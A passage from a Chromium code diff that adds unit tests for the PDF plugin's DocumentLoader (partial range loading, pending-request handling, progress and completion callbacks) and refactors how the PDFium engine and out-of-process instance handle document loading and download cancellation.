+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_EQ(0ul, loader.GetDocumentSize());
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  client.full_page_loader_data()->CallReadCallback(1000);
+  client.full_page_loader_data()->CallReadCallback(500);
+  client.full_page_loader_data()->CallReadCallback(0);
+  EXPECT_EQ(DocumentLoader::kDefaultRequestSize + 1000ul + 500ul,
+            loader.GetDocumentSize());
+  EXPECT_TRUE(loader.IsDocumentComplete());
+}
+
+TEST_F(DocumentLoaderTest, ClearPendingRequests) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 100 + 58383);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 100, 10);
+  loader.ClearPendingRequests();
+  loader.RequestData(15 * DocumentLoader::kDefaultRequestSize + 200, 20);
+  // pending requests are accumulating, and will be processed after initial data
+  // load.
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitOpen());
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  {
+    EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+    const gfx::Range range_requested(15 * DocumentLoader::kDefaultRequestSize,
+                                     16 * DocumentLoader::kDefaultRequestSize);
+    EXPECT_EQ(range_requested.start(),
+              client.partial_loader_data()->open_byte_range().start());
+    EXPECT_LE(range_requested.end(),
+              client.partial_loader_data()->open_byte_range().end());
+    client.partial_loader_data()->set_byte_range(
+        client.partial_loader_data()->open_byte_range());
+  }
+  // clear requests before Open callback.
+  loader.ClearPendingRequests();
+  // Current request should continue loading.
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->CallOpenCallback(0);
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(client.partial_loader_data()->closed());
+  // Current request should continue loading, because no other request queued.
+
+  loader.RequestData(18 * DocumentLoader::kDefaultRequestSize + 200, 20);
+  // Requests queue is processed only on receiving data.
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  // New request within close distance from the one currently loading. Loading
+  // isn't restarted.
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitOpen());
+
+  loader.ClearPendingRequests();
+  // request again two.
+  loader.RequestData(60 * DocumentLoader::kDefaultRequestSize + 100, 10);
+  loader.RequestData(35 * DocumentLoader::kDefaultRequestSize + 200, 20);
+  // Requests queue is processed only on receiving data.
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  {
+    // new requset not with in close distance from current loading.
+    // Loading should be restarted.
+    EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+    // The first requested chunk should be processed.
+    const gfx::Range range_requested(35 * DocumentLoader::kDefaultRequestSize,
+                                     36 * DocumentLoader::kDefaultRequestSize);
+    EXPECT_EQ(range_requested.start(),
+              client.partial_loader_data()->open_byte_range().start());
+    EXPECT_LE(range_requested.end(),
+              client.partial_loader_data()->open_byte_range().end());
+    client.partial_loader_data()->set_byte_range(
+        client.partial_loader_data()->open_byte_range());
+  }
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->CallOpenCallback(0);
+  // Override pending requests.
+  loader.ClearPendingRequests();
+  loader.RequestData(70 * DocumentLoader::kDefaultRequestSize + 100, 10);
+
+  // Requests queue is processed only on receiving data.
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  {
+    // New requset not with in close distance from current loading.
+    // Loading should be restarted .
+    EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+    // The first requested chunk should be processed.
+    const gfx::Range range_requested(70 * DocumentLoader::kDefaultRequestSize,
+                                     71 * DocumentLoader::kDefaultRequestSize);
+    EXPECT_EQ(range_requested.start(),
+              client.partial_loader_data()->open_byte_range().start());
+    EXPECT_LE(range_requested.end(),
+              client.partial_loader_data()->open_byte_range().end());
+    client.partial_loader_data()->set_byte_range(
+        client.partial_loader_data()->open_byte_range());
+  }
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+}
+
+TEST_F(DocumentLoaderTest, GetBlock) {
+  std::vector<char> buffer(DocumentLoader::kDefaultRequestSize);
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20 + 58383);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_FALSE(loader.GetBlock(0, 1000, buffer.data()));
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_TRUE(loader.GetBlock(0, 1000, buffer.data()));
+  EXPECT_FALSE(loader.GetBlock(DocumentLoader::kDefaultRequestSize, 1500,
+                               buffer.data()));
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_TRUE(loader.GetBlock(DocumentLoader::kDefaultRequestSize, 1500,
+                              buffer.data()));
+
+  EXPECT_FALSE(loader.GetBlock(17 * DocumentLoader::kDefaultRequestSize, 3000,
+                               buffer.data()));
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 100, 10);
+  EXPECT_FALSE(loader.GetBlock(17 * DocumentLoader::kDefaultRequestSize, 3000,
+                               buffer.data()));
+
+  // Requests queue is processed only on receiving data.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  client.SendAllPartialData();
+  EXPECT_TRUE(loader.GetBlock(17 * DocumentLoader::kDefaultRequestSize, 3000,
+                              buffer.data()));
+}
+
+TEST_F(DocumentLoaderTest, IsDataAvailable) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20 + 58383);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_FALSE(loader.IsDataAvailable(0, 1000));
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_TRUE(loader.IsDataAvailable(0, 1000));
+  EXPECT_FALSE(
+      loader.IsDataAvailable(DocumentLoader::kDefaultRequestSize, 1500));
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_TRUE(
+      loader.IsDataAvailable(DocumentLoader::kDefaultRequestSize, 1500));
+
+  EXPECT_FALSE(
+      loader.IsDataAvailable(17 * DocumentLoader::kDefaultRequestSize, 3000));
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 100, 10);
+  EXPECT_FALSE(
+      loader.IsDataAvailable(17 * DocumentLoader::kDefaultRequestSize, 3000));
+
+  // Requests queue is processed only on receiving data.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  client.SendAllPartialData();
+  EXPECT_TRUE(
+      loader.IsDataAvailable(17 * DocumentLoader::kDefaultRequestSize, 3000));
+}
+
+TEST_F(DocumentLoaderTest, RequestData) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 100 + 58383);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(37 * DocumentLoader::kDefaultRequestSize + 200, 10);
+  loader.RequestData(25 * DocumentLoader::kDefaultRequestSize + 600, 100);
+  loader.RequestData(13 * DocumentLoader::kDefaultRequestSize + 900, 500);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  {
+    EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+    const gfx::Range range_requested(13 * DocumentLoader::kDefaultRequestSize,
+                                     14 * DocumentLoader::kDefaultRequestSize);
+    EXPECT_EQ(range_requested.start(),
+              client.partial_loader_data()->open_byte_range().start());
+    EXPECT_LE(range_requested.end(),
+              client.partial_loader_data()->open_byte_range().end());
+    client.partial_loader_data()->set_byte_range(
+        client.partial_loader_data()->open_byte_range());
+  }
+  client.partial_loader_data()->CallOpenCallback(0);
+  // Override pending requests.
+  loader.ClearPendingRequests();
+  loader.RequestData(38 * DocumentLoader::kDefaultRequestSize + 200, 10);
+  loader.RequestData(26 * DocumentLoader::kDefaultRequestSize + 600, 100);
+  // Requests queue is processed only on receiving data.
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  {
+    EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+    const gfx::Range range_requested(26 * DocumentLoader::kDefaultRequestSize,
+                                     27 * DocumentLoader::kDefaultRequestSize);
+    EXPECT_EQ(range_requested.start(),
+              client.partial_loader_data()->open_byte_range().start());
+    EXPECT_LE(range_requested.end(),
+              client.partial_loader_data()->open_byte_range().end());
+    client.partial_loader_data()->set_byte_range(
+        client.partial_loader_data()->open_byte_range());
+  }
+  client.partial_loader_data()->CallOpenCallback(0);
+  // Override pending requests.
+  loader.ClearPendingRequests();
+  loader.RequestData(39 * DocumentLoader::kDefaultRequestSize + 200, 10);
+  // Requests queue is processed only on receiving data.
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  {
+    EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+    const gfx::Range range_requested(39 * DocumentLoader::kDefaultRequestSize,
+                                     40 * DocumentLoader::kDefaultRequestSize);
+    EXPECT_EQ(range_requested.start(),
+              client.partial_loader_data()->open_byte_range().start());
+    EXPECT_LE(range_requested.end(),
+              client.partial_loader_data()->open_byte_range().end());
+    client.partial_loader_data()->set_byte_range(
+        client.partial_loader_data()->open_byte_range());
+  }
+  // Fill all gaps.
+  while (!loader.IsDocumentComplete()) {
+    client.SendAllPartialData();
+  }
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, DoNotLoadAvailablePartialData) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20 + 58383);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  // Send more data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  loader.RequestData(2 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send more data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  // Partial loading should not have started for already available data.
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, DoNotLoadDataAfterComplete) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  for (int i = 0; i < 20; ++i) {
+    client.full_page_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+  }
+
+  EXPECT_TRUE(loader.IsDocumentComplete());
+
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+  EXPECT_TRUE(client.full_page_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, DoNotLoadPartialDataAboveDocumentSize) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(20 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, MergePendingRequests) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 50 + 58383);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+  loader.RequestData(16 * DocumentLoader::kDefaultRequestSize + 600, 100);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  const gfx::Range range_requested(16 * DocumentLoader::kDefaultRequestSize,
+                                   18 * DocumentLoader::kDefaultRequestSize);
+  EXPECT_EQ(range_requested.start(),
+            client.partial_loader_data()->open_byte_range().start());
+  EXPECT_LE(range_requested.end(),
+            client.partial_loader_data()->open_byte_range().end());
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+
+  // Fill all gaps.
+  while (!loader.IsDocumentComplete()) {
+    client.SendAllPartialData();
+  }
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, PartialStopOnStatusCodeError) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->set_status_code(404);
+  client.partial_loader_data()->CallOpenCallback(0);
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest,
+       PartialAsFullDocumentLoadingRangeRequestNoRangeField) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->set_byte_range(gfx::Range::InvalidRange());
+  client.partial_loader_data()->CallOpenCallback(0);
+  EXPECT_FALSE(client.partial_loader_data()->closed());
+  // Partial loader is used to load the whole page, like full page loader.
+  EXPECT_FALSE(loader.is_partial_loader_active());
+}
+
+TEST_F(DocumentLoaderTest, PartialMultiPart) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->set_is_multipart(true);
+  client.partial_loader_data()->CallOpenCallback(0);
+  client.partial_loader_data()->set_byte_range(
+      gfx::Range(17 * DocumentLoader::kDefaultRequestSize,
+                 18 * DocumentLoader::kDefaultRequestSize));
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_TRUE(loader.IsDataAvailable(17 * DocumentLoader::kDefaultRequestSize,
+                                     DocumentLoader::kDefaultRequestSize));
+}
+
+TEST_F(DocumentLoaderTest, PartialMultiPartRangeError) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->set_is_multipart(true);
+  client.partial_loader_data()->CallOpenCallback(0);
+  client.partial_loader_data()->set_byte_range(gfx::Range::InvalidRange());
+  client.partial_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  EXPECT_FALSE(loader.IsDataAvailable(17 * DocumentLoader::kDefaultRequestSize,
+                                      DocumentLoader::kDefaultRequestSize));
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, PartialConnectionErrorOnOpen) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->CallOpenCallback(-3);
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+
+  // Partial loading should not restart after any error.
+  loader.RequestData(18 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitOpen());
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, PartialConnectionErrorOnRead) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(17 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  // Send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitOpen());
+  client.partial_loader_data()->set_byte_range(
+      gfx::Range(17 * DocumentLoader::kDefaultRequestSize,
+                 18 * DocumentLoader::kDefaultRequestSize));
+  client.partial_loader_data()->CallOpenCallback(0);
+  EXPECT_TRUE(client.partial_loader_data()->IsWaitRead());
+  client.partial_loader_data()->CallReadCallback(-3);
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+
+  // Partial loading should not restart after any error.
+  loader.RequestData(18 * DocumentLoader::kDefaultRequestSize + 200, 10);
+
+  EXPECT_FALSE(client.partial_loader_data()->IsWaitOpen());
+  EXPECT_TRUE(client.partial_loader_data()->closed());
+}
+
+TEST_F(DocumentLoaderTest, GetProgress) {
+  TestClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_EQ(0., loader.GetProgress());
+
+  for (int i = 0; i < 20; ++i) {
+    EXPECT_EQ(i * 100 / 20, static_cast<int>(loader.GetProgress() * 100));
+    client.full_page_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+  }
+  EXPECT_EQ(1., loader.GetProgress());
+}
+
+TEST_F(DocumentLoaderTest, GetProgressNoContentLength) {
+  TestClient client;
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+  EXPECT_EQ(-1., loader.GetProgress());
+
+  for (int i = 0; i < 20; ++i) {
+    EXPECT_EQ(-1., loader.GetProgress());
+    client.full_page_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+  }
+  client.full_page_loader_data()->CallReadCallback(0);
+  EXPECT_EQ(1., loader.GetProgress());
+}
+
+TEST_F(DocumentLoaderTest, ClientCompleteCallbacks) {
+  MockClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  EXPECT_CALL(client, OnDocumentComplete()).Times(0);
+  for (int i = 0; i < 19; ++i) {
+    client.full_page_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+  }
+  Mock::VerifyAndClear(&client);
+
+  EXPECT_CALL(client, OnDocumentComplete()).Times(1);
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  Mock::VerifyAndClear(&client);
+}
+
+TEST_F(DocumentLoaderTest, ClientCompleteCallbacksNoContentLength) {
+  MockClient client;
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  EXPECT_CALL(client, OnDocumentCanceled()).Times(0);
+  EXPECT_CALL(client, OnDocumentComplete()).Times(0);
+  for (int i = 0; i < 20; ++i) {
+    client.full_page_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+  }
+  Mock::VerifyAndClear(&client);
+
+  EXPECT_CALL(client, OnDocumentCanceled()).Times(0);
+  EXPECT_CALL(client, OnDocumentComplete()).Times(1);
+  client.full_page_loader_data()->CallReadCallback(0);
+  Mock::VerifyAndClear(&client);
+}
+
+TEST_F(DocumentLoaderTest, ClientCancelCallback) {
+  MockClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  EXPECT_CALL(client, OnDocumentCanceled()).Times(0);
+  EXPECT_CALL(client, OnDocumentComplete()).Times(0);
+  for (int i = 0; i < 10; ++i) {
+    client.full_page_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+  }
+  Mock::VerifyAndClear(&client);
+
+  EXPECT_CALL(client, OnDocumentComplete()).Times(0);
+  EXPECT_CALL(client, OnDocumentCanceled()).Times(1);
+  client.full_page_loader_data()->CallReadCallback(-3);
+  Mock::VerifyAndClear(&client);
+}
+
+TEST_F(DocumentLoaderTest, NewDataAvailable) {
+  MockClient client;
+  client.SetCanUsePartialLoading();
+  client.full_page_loader_data()->set_content_length(
+      DocumentLoader::kDefaultRequestSize * 20);
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  EXPECT_CALL(client, OnNewDataAvailable()).Times(1);
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  Mock::VerifyAndClear(&client);
+
+  EXPECT_CALL(client, OnNewDataAvailable()).Times(0);
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize - 100);
+  Mock::VerifyAndClear(&client);
+
+  EXPECT_CALL(client, OnNewDataAvailable()).Times(1);
+  client.full_page_loader_data()->CallReadCallback(100);
+  Mock::VerifyAndClear(&client);
+}
+
+TEST_F(DocumentLoaderTest, ClientPendingRequestCompleteFullLoader) {
+  MockClient client;
+  client.SetCanUsePartialLoading();
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  loader.RequestData(1000, 4000);
+
+  EXPECT_CALL(client, OnPendingRequestComplete()).Times(1);
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+  Mock::VerifyAndClear(&client);
+}
+
+TEST_F(DocumentLoaderTest, ClientPendingRequestCompletePartialLoader) {
+  MockClient client;
+  client.SetCanUsePartialLoading();
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  EXPECT_CALL(client, OnPendingRequestComplete()).Times(1);
+  loader.RequestData(15 * DocumentLoader::kDefaultRequestSize + 4000, 4000);
+
+  // Always send initial data from FullPageLoader.
+  client.full_page_loader_data()->CallReadCallback(
+      DocumentLoader::kDefaultRequestSize);
+
+  client.SendAllPartialData();
+  Mock::VerifyAndClear(&client);
+}
+
+TEST_F(DocumentLoaderTest, ClientPendingRequestCompletePartialAndFullLoader) {
+  MockClient client;
+  client.SetCanUsePartialLoading();
+  DocumentLoader loader(&client);
+  loader.Init(client.CreateFullPageLoader(), "http://url.com");
+
+  EXPECT_CALL(client, OnPendingRequestComplete()).Times(1);
+  loader.RequestData(16 * DocumentLoader::kDefaultRequestSize + 4000, 4000);
+  loader.RequestData(4 * DocumentLoader::kDefaultRequestSize + 4000, 4000);
+
+  for (int i = 0; i < 5; ++i) {
+    client.full_page_loader_data()->CallReadCallback(
+        DocumentLoader::kDefaultRequestSize);
+  }
+
+  Mock::VerifyAndClear(&client);
+
+  EXPECT_CALL(client, OnPendingRequestComplete()).Times(1);
+  client.SendAllPartialData();
+  Mock::VerifyAndClear(&client);
+}
+
+}  // namespace chrome_pdf
diff --git a/pdf/out_of_process_instance.cc b/pdf/out_of_process_instance.cc
index 3a22f570..ee85a9b 100644
--- a/pdf/out_of_process_instance.cc
+++ b/pdf/out_of_process_instance.cc
@@ -1069,24 +1069,8 @@
 }
 
 void OutOfProcessInstance::DidOpen(int32_t result) {
-  if (result == PP_OK) {
-    if (!engine_->HandleDocumentLoad(embed_loader_)) {
-      document_load_state_ = LOAD_STATE_LOADING;
-      DocumentLoadFailed();
-    }
-  } else if (result != PP_ERROR_ABORTED) {  // Can happen in tests.
-    NOTREACHED();
+  if (result != PP_OK || !engine_->HandleDocumentLoad(embed_loader_))
     DocumentLoadFailed();
-  }
-
-  // If it's a progressive load, cancel the stream URL request so that requests
-  // can be made on the original URL.
-  // TODO(raymes): Make this clearer once the in-process plugin is deleted.
-  if (engine_->IsProgressiveLoad()) {
-    pp::VarDictionary message;
-    message.Set(kType, kJSCancelStreamUrlType);
-    PostMessage(message);
-  }
 }
 
 void OutOfProcessInstance::DidOpenPreview(int32_t result) {
@@ -1706,6 +1690,12 @@
   return background_color_;
 }
 
+void OutOfProcessInstance::CancelBrowserDownload() {
+  pp::VarDictionary message;
+  message.Set(kType, kJSCancelStreamUrlType);
+  PostMessage(message);
+}
+
 void OutOfProcessInstance::IsSelectingChanged(bool is_selecting) {
   pp::VarDictionary message;
   message.Set(kType, kJSSetIsSelectingType);
diff --git a/pdf/out_of_process_instance.h b/pdf/out_of_process_instance.h
index c3a6fc5..5991f43 100644
--- a/pdf/out_of_process_instance.h
+++ b/pdf/out_of_process_instance.h
@@ -141,6 +141,7 @@
   void FormTextFieldFocusChange(bool in_focus) override;
   bool IsPrintPreview() override;
   uint32_t GetBackgroundColor() override;
+  void CancelBrowserDownload() override;
   void IsSelectingChanged(bool is_selecting) override;
   void SelectionChanged(const pp::Rect& left, const pp::Rect& right) override;
 
diff --git a/pdf/pdf_engine.h b/pdf/pdf_engine.h
index e6a3f826..a8bdc95 100644
--- a/pdf/pdf_engine.h
+++ b/pdf/pdf_engine.h
@@ -188,6 +188,9 @@
     // Get the background color of the PDF.
     virtual uint32_t GetBackgroundColor() = 0;
 
+    // Cancel browser initiated document download.
+    virtual void CancelBrowserDownload() = 0;
+
     // Sets selection status.
     virtual void IsSelectingChanged(bool is_selecting) {}
 
@@ -306,8 +309,6 @@
   virtual void SetScrollPosition(const pp::Point& position) = 0;
 #endif
 
-  virtual bool IsProgressiveLoad() = 0;
-
   virtual std::string GetMetadata(const std::string& key) = 0;
 
   virtual void SetCaretPosition(const pp::Point& position) = 0;
diff --git a/pdf/pdfium/pdfium_engine.cc b/pdf/pdfium/pdfium_engine.cc
index ad1ff94..90484b5 100644
--- a/pdf/pdfium/pdfium_engine.cc
+++ b/pdf/pdfium/pdfium_engine.cc
@@ -33,6 +33,7 @@
 #include "pdf/pdfium/pdfium_api_string_buffer_adapter.h"
 #include "pdf/pdfium/pdfium_mem_buffer_file_read.h"
 #include "pdf/pdfium/pdfium_mem_buffer_file_write.h"
+#include "pdf/url_loader_wrapper_impl.h"
 #include "ppapi/c/pp_errors.h"
 #include "ppapi/c/pp_input_event.h"
 #include "ppapi/c/ppb_core.h"
@@ -689,7 +690,6 @@
     : client_(client),
       current_zoom_(1.0),
       current_rotation_(0),
-      doc_loader_(this),
       password_tries_remaining_(0),
       doc_(nullptr),
       form_(nullptr),
@@ -720,15 +720,15 @@
 
   file_access_.m_FileLen = 0;
   file_access_.m_GetBlock = &GetBlock;
-  file_access_.m_Param = &doc_loader_;
+  file_access_.m_Param = this;
 
   file_availability_.version = 1;
   file_availability_.IsDataAvail = &IsDataAvail;
-  file_availability_.loader = &doc_loader_;
+  file_availability_.engine = this;
 
   download_hints_.version = 1;
   download_hints_.AddSegment = &AddSegment;
-  download_hints_.loader = &doc_loader_;
+  download_hints_.engine = this;
 
   // Initialize FPDF_FORMFILLINFO member variables.  Deriving from this struct
   // allows the static callbacks to be able to cast the FPDF_FORMFILLINFO in
@@ -974,8 +974,8 @@
                            unsigned long position,
                            unsigned char* buffer,
                            unsigned long size) {
